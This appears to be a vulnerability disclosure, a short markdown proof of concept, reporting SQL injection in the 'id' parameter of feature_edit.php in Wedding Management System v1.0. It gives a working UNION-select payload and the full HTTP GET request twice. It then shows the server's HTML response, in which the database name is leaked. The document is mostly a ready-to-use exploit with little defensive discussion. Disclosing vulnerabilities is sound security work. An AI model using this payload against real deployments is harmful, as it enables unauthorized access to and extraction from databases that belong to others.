debug601 Update SQLi-5.md History

1 contributor

26 lines (19 sloc) | 1019 Bytes

Wedding Management System v1.0 by codeastr.com has SQL injection

vendors: https://codeastro.com/wedding-management-system-in-php-with-source-code/

Vulnerability File: \admin\feature_edit.php

Vulnerability location: /Wedding-Management/admin/feature_edit.php?id=, id

[+] Payload: id=-8%20union%20select%201,2,database(),4--+

dbname = dbwedding

```
GET /Wedding-Management/admin/feature_edit.php?id=-8%20union%20select%201,2,database
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
```

```
GET
/Wedding-Management/admin/feature_edit.php
?id=-8%20union%20select%201,2,database(),4
--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,applicatio
n/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
```

```
                    <a class="nav-link" href="logout.php"><b><i class="mdi mdi-logout" style
#f44336!important;"></i> Logout</b></a>
                </div>
            </nav>
    <div class="container">

        <div class="row">

            <div class="col-lg-8 offset-2 pl-3 pb-3 box-shadow mt-4">

                <form method="post" action="">

                    <h4 class="h4 mt-4 pb-2" style="border-bottom: 1px solid #dee2e6!importa
Feature</h4>


                    <div class="form-group">
                        <label for="title">Feature Title</label>
                        <input type="text" value="dbwedding" name="title" class="form-contr
placeholder="Enter package name">
                    </div>


                    <div class="form-group">
                        <label for="wedding_type">Wedding Type</label>
                        <select name="wedding_type" id="wedding_type" class="form-control">
                                                                                    <o
                                Elite - Price: 52,000.00
```